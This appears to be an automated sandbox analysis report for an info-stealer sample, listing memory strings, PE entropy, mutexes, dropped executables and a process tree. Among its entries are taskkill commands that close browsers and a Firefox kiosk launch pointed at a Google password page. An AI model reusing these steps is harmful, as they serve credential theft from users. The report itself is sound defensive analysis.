Source: file.exe, 00000000.00000003.2018722650.0000000005C72000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2023903303.0000000005CAF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2019605284.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029669121.0000000005CC6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030123072.0000000005BC7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2023404312.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2022964836.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2016011202.0000000005CEC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2053302062.000000000569E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031542594.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020685405.0000000005C8A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2028884185.0000000005CCB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031320497.0000000005CED000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2018053104.0000000005BD1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033230475.0000000005D04000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020331340.0000000005BC7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031917741.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2027823500.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2026108410.0000000005CC0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029892963.0000000005CC8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2022102811.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2015254783.0000000005C5F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2016600358.0000000005C70000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2019022655.0000000005BC4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2015382369.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033801761.0000000005E51000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031667916.0000000005CF2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2023147205.0000000005C99000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031789467.0000000005BCD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2023586605.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2021205102.0000000005D50000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017206071.0000000005C71000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033059508.0000000005BD1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2024008041.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2018832652.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2053561586.0000000000A44000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020875844.0000000005C88000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033568291.0000000005D04000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2019916520.0000000005C87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2028112322.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017531158.0000000005D20000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020780021.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2015313745.0000000005CFE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2015154432.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2015934215.0000000005C53000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017710728.0000000005C65000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030005465.0000000005DDE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2021896499.0000000005C98000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2027533201.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017126086.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2024196348.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031445957.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2016443078.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2026950705.0000000005BC4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2022651985.0000000005BCF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030473682.0000000005BCF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2021403040.0000000005C9A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2022509914.0000000005D80000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2023730401.0000000005BCB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032041899.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033398132.0000000005BCF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020216121.0000000005D51000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029557729.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2024378884.0000000005CC0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029779180.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2021530029.0000000005BCA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032635545.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2014745732.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032763754.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030833303.0000000005CEE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020017567.0000000005BD0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031073508.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2018924711.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2016085096.0000000005BCF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030357104.0000000005DEE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2019513206.0000000005C7A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031193222.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030716576.0000000005BD1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032897736.0000000005E39000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2023228074.0000000005D75000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2022790950.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2018330187.0000000005C72000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2027980567.0000000005DBE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2027119986.0000000005CC1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2022254233.0000000005CA1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2053525627.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2016522348.0000000005BCD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2025263126.0000000005BCA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2053273914.000000000572A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2014813726.0000000005C60000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017632769.0000000005BC7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030239153.0000000005CDA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2017791501.0000000005D10000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2020119718.0000000005C8A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032473045.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: innoinstaller[1].exe.8.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: innoinstaller.exe.8.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: file.exe Static PE information: Section: ZLIB complexity 0.9980407523510971
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr Static PE information: Section: ZLIB complexity 0.9982757152588556
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr Static PE information: Section: gwpiiybp ZLIB complexity 0.9939272827619472
Source: skotes.exe.5.dr Static PE information: Section: ZLIB complexity 0.9982757152588556
Source: skotes.exe.5.dr Static PE information: Section: gwpiiybp ZLIB complexity 0.9939272827619472
Source: random[1].exe.8.dr Static PE information: Section: ZLIB complexity 0.9980407523510971
Source: 70bf1463df.exe.8.dr Static PE information: Section: ZLIB complexity 0.9980407523510971
Source: random[1].exe0.8.dr Static PE information: Section: wcmalsok ZLIB complexity 0.9949215235077984
Source: e90585a72a.exe.8.dr Static PE information: Section: wcmalsok ZLIB complexity 0.9949215235077984
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, Pm9eLOtOt5hjuqFklEr.cs Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, Pm9eLOtOt5hjuqFklEr.cs Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, Pm9eLOtOt5hjuqFklEr.cs Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, Pm9eLOtOt5hjuqFklEr.cs Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, ITaskFolder.cs Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, TaskFolder.cs Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, Task.cs Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, TaskService.cs Task registration methods: 'CreateFromToken'
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, TaskFolder.cs Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, User.cs Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, Task.cs Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, TaskPrincipal.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, TaskSecurity.cs Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, TaskSecurity.cs Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@53/27@49/13
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Code function: 4_2_053115D0 ChangeServiceConfigA, 4_2_053115D0
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NSXWT8JG74T0IR99MSITIVFVWS7V.exe.log Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7652:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4996:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4192:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3752:64:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3284:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1284:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe Jump to behavior
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: file.exe, 00000000.00000003.1726166862.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610008162.00000000053F6000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610582123.00000000053C5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe Virustotal: Detection: 52%
Source: file.exe ReversingLabs: Detection: 39%
Source: VG65QSLZVUGSLKDE78EZSIIG.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe "C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe "C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe"
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe "C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe"
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6032 -s 1028
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe "C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe "C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe "C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe"
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2248 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {95852de9-fa07-429f-b0eb-acecbe82c7f0} 8020 "\\.\pipe\gecko-crash-server-pipe.8020" 1b32c56b710 socket
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Process created: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe "C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002767001\num.exe "C:\Users\user\AppData\Local\Temp\1002767001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe Process created: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe "C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe"
